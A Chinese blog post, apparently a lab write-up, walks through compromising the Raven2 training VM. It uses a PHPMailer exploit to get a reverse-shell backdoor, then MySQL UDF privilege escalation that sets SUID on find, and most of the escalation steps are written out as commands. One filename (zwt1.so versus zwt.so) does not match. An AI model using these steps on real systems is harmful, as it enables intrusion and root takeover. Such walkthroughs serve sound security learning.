程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

Raven2--靶机渗透--MysqlUDF提权--linux提权

发布于2022-06-02 06:48     阅读(1082)     评论(0)     点赞(9)     收藏(2)


信息搜集

nmap扫描端口和ip

发现80端口,用dirsearch扫描目录

扫描到了vendor和wordpress目录以及contact.php页面

随便看看,找到一个flag,并发现搭建了PHPMail

 之前爆出过phpmail的漏洞,我们用kali的searchexploit搜索一下

 再根据vender/version文件得知版本号为

 

 开头添加这个 防止乱码

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-

 修改exp

python3执行 

 访问http://192.168.160.150/contact.php 会生成一个能够反弹shell的后门,访问该后门php,kali开启监听,即可反弹shell

 

python -c 'import pty;pty.spawn("/bin/bash")'  得到一个交互式shell

find / -name "flag*"    发现

 

使用LinEnum.sh信息搜集

mysql是用root登录的,查看WordPress配置文件得到root密码

 UDF提权

  1. searchexploit mysql udf
  2. searchexploit 1518.c -m
  3. gcc -g -c 1518.c //编译出1518.o
  4. gcc -g -shared -o zwt.so 1518.o -lc //创建一个动态链接库,输入文件是1518.o

 传输到shell上

 

  1. use mysql;
  2. #进入数据库
  3. create table zwt(line blob);
  4. #创建数据表zwt
  5. insert into zwt values(load_file('/tmp/zwt.so'));
  6. #插入数据
  7. select * from zwt into dumpfile '/usr/lib/mysql/plugin/zwt1.so';
  8. #( Foo表成功插入二进制数据,
  9. 然后利用dumpfile函数把文件导出
  10. outfile 多行导出,dumpfile一行导出
  11. outfile会有特殊的转换,而dumpfile是原数据导出
  12. 新建存储函数)
  13. create function do_system returns integer soname 'zwt.so';
  14. #(创建自定义函数do_system 类型是integer,别名
  15. soname文件名字然后查询函数是否创建成功)
  16. select * from mysql.func;
  17. select do_system('chmod u+s /usr/bin/find');
  18. #(调用do_system函数来给find命令所有者的suid权限,使其可以执行
  19. root命令)
  20. quit

 

 

 



所属网站分类: 技术文章 > 博客

作者:美丽的老婆你听我说

链接:http://www.phpheidong.com/blog/article/337622/5e85b67c17f08238a072/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

9 0
收藏该文
已收藏

评论内容:(最多支持255个字符)